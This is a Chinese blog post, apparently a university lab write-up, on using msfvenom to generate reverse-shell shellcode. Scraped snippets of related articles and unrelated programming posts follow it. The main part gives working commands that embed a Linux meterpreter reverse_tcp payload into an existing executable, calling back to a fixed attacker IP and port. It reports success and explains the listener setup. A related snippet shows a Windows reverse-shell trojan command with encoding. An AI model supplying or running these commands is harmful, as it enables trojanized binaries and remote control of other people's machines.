使用MSF生成shellcode
使用MSF生成shellcode
- payload和shellcode的区别
Payload是是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码。因为Payload是包含在ShellCode中的,ShellCode是真正的被输入到存在漏洞的程序中的,并且ShellCode负责把程序的流程最终转移到你的Payload代码中。所以对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情。
- 利用msfvenom生成payload
给个中文版的msfvenom的命令行选项:
Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
首先我们用到的第一个选项是-l,查看所有msf可用的payload列表。里面有526种payload,我们需要的payload功能是获取反弹连接shell。
想要找到可用的payload首先要知道靶机的版本。在网上找方法查了一下,我开的另外一台kali靶机是64位。对应linux64位可用的payload有这些。

根据这些payload的功能描述,找出我们需要的payload,使用-p指定。给大家翻译了一下这些描述啥意思,如下:
- execute an arbitrary command
执行一个任意命令
- Inject the mettle server payload(staged).Listen to a connection.
注入mettle server payload,监听等待一个连接。
- Inject the mettle server payload(staged).Connect back to a connection.
注入mettle server payload,反弹连接一个连接。
- run the meterpreter /Mettle server payload (stageless)
运行meterpreter或者Mettle server payload
- spawn a command shell.Listen to a connection.
产生一个shell,等待连接。
- spawn a command shell.Connect back to a connection.
产生一个shell,反弹连接一个连接。
- Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
在一个随机端口监听一个连接,并产生一个shell。
- Spawn a shell on an established connection
在已经存在的连接上产生一个shell
- Connect back to attacker and spawn a command shell
反弹连接攻击者,并产生一个shell。
很显然我们选择最后一个,linux/x64/shell_reverse_tcp.
选定了payload,我们需要给它写一些什么参数呢?用这个指令查看
msfvenom -p windows/meterpreter/reverse_tcp --payload-options

基础参数就两个LHOST和LPORT。跟在payloa后面设置一下就可以了。
选好了payload,接下来我们-f选payload的输出格式。用这个指令可以查看payload有哪些输出格式。
msfvenom --help-formats
发现有很多:

我们的目标是注入到pwn1里去,当然选择ELF格式了!
还可以用-e选择编码器和-i迭代编码的次数。用这个指令查看可用的编码方式。
msfvenom -l encoders
但ELF文件的编码方式应该是机器无关的,不用选这个选项。
最后呢,当然是要用-x参数指定我们的模板pwn1.payload(shellcode)就写入到pwn1这个可执行文件中。
所以,最终我们的指令是
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf -o pwn2
然后把我们毒化的pwn2,复制到靶机里。
打开攻击方的msfconsole,加载exploit/multi/handler模块,设置参数,最后一个exploit指令!攻击!
但是一切似乎不如人意,我在靶机上运行了pwn2,控制机没有任何反应……
然后又在网上找了这篇文章msfvenom生成各类Payload命令,里面说linux里指令要这样写
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
对比之后,我意识到,虽然linux系统是64位,但pwn1是个32位程序啊!所以还是用x86下面的payload。
最终的指令是这样的:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf > pwn3
再怀着忐忑和激动的心情去测试了一下pwn3,就发现成功了!


做了一天才成功,找了很多乱七八糟的资料,主要有用的参考资料如下:
Meatsploit Framework msfvenom使用简介
生成自己的Alphanumeric/Printable shellcode
使用MSF生成shellcode的更多相关文章
- msf生成shellcode
msfpayload windows/exec CMD = calc.exe EXITFUNC=thread C 在kali Linux2.0新版中msfpayload命令已删除,功能已集成到msfv ...
- msf生成木马
Msf生成木马:(多层加密都不能免杀) msfvenom -p windows/shell_reverse_tcp lhost=192.168.33.143 lport=7001 -f raw -e ...
- msf生成后门拿shell
0X01简介 这里我本来想学习 msf利用漏洞反弹shell的 但是 没有靶机....等找了靶机在弄吧 kali 172.18.5.118 靶机 172.18.5.240 先尝试能不能ping通 好 ...
- msf生成软件
生成软件后门程序的命令 win7获取 生成内网软件 启动kali上的http服务 systemctl start apache2 开始msf控制台 msfconsole 使用监听模块 并查看配置 s ...
- 使用MSF生成木马_入侵Windows
1>生成木马 (123.exe) -f 输出格式 -o 输出地址 2>启动msfconsole 3>进行设置&&启动攻击 4>木马运行&后 ...
- msf生成后门实战漫游内网
前言:当我们在渗透当中首先拿到webshell权限,进一步提权渗透,获得内网的主机,假设在这里我们获取了具有双网卡的web服务器,我们的目的是通过这台web服务器,进行内网漫游,获取内网中其他主机的系 ...
- Exp2后门原理与实践 20164312马孝涛
实验内容 使用netcat获取主机操作Shell,cron启动 (0.5分) 使用socat获取主机操作Shell, 任务计划启动 (0.5分) 使用MSF meterpreter(或其他软件)生成可 ...
- 20165223《网络对抗技术》Exp2 后门原理与实践
目录 -- 后门原理与实践 后门原理与实践说明 实验任务 基础知识问答 常用后门工具 实验内容 任务一:使用netcat获取主机操作Shell,cron启动 任务二:使用socat获取主机操作Shel ...
- 20164305 徐广皓 Exp2 后门原理与实践
实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter(或其他软件)生成可执行文件, ...
随机推荐
- 再谈git和github-深入理解
git中的 objects 和 refs 是什么? 目录objects是仓库的 "对象库" , 是包含 代码, 提交, 日志, 信息, 索引等信息的关键所在 refs是一些 sha ...
- Unity3D获取系统当前时间,并格式化显示
Unity 获取系统当前时间,并格式化显示.通过“System.DateTime”获取系统当前的时间,然后通过格式化把获得的时间格式化显示出来,具体如下: 1.打开Unity,新建一个空工程,Unit ...
- Learning-MySQL【2】:MySQL存储引擎及数据库的操作管理
一.存储引擎 存储引擎实际上就是如何存储数据.如何为存储的数据建立索引和如何更新.查询数据.存储引擎也可以称为表类型. MySQL提供了插件式(pluggable)的存储引擎,存储引擎是基于表的.同一 ...
- memcpy的函数
网新恒天2014校园招聘笔试编程题 已知memcpy的函数为: void* memcpy(void *dest , const void* src , size_t count)其中dest是目的指针 ...
- zookeeper之 zkServer.sh命令、zkCli.sh命令、四字命令
一.zkServer.sh 1.查看 zkServer.sh 帮助信息[root@bigdata05 bin]# ./zkServer.sh helpZooKeeper JMX enabled by ...
- 【六】jquery之HTML代码/文本/值[下拉列表框、多选框、单选框的选中]
val()方法不仅能设置元素的值,同时也能获取元素的值.另外,val()方法还有另外一个用处,就是它能使select(下拉列表框).checkbox(多选框)和radio(单选框)相应的选项被选中,在 ...
- Django MTV 开发模式 + 数据库配置
MTV 开发模式 Django 的设计鼓励松耦合及对应用程序中不同部分的严格分割.遵循这个理念的话,要想修改应用的某部分而不影响其它部分就比较容易了.在视图函数中,我们已经讨论了通过模板系统把业务逻辑 ...
- 【你不一定知晓的】C#取消异步操作
[你不一定知晓的]C#取消异步操作 在.Net和C#中运行异步代码相当简单,因为我们有时候需要取消正在进行的异步操作,通过本文,可以掌握 通过CancellationToken取消任务(包括non-c ...
- python中的模块调用
1.简介 在python中经常需要各模块相互调用,此时会出现以下几种情况: (1)同一目录下文件的调用 (2)父目录调用子目录中的文件 (3)同级目录下文件的调用 2.示例 现有该目录结构:AB中有A ...
- select option 选中 取消js
今天在写select option标签的过程中遇到一个问题,就是刷新页面自己选中的标签回显选择的值,清空表单,下拉选择默认的值: 1.这是默认的下拉框: 2.自己定义的下拉选项,红色方框中主要处理第一 ...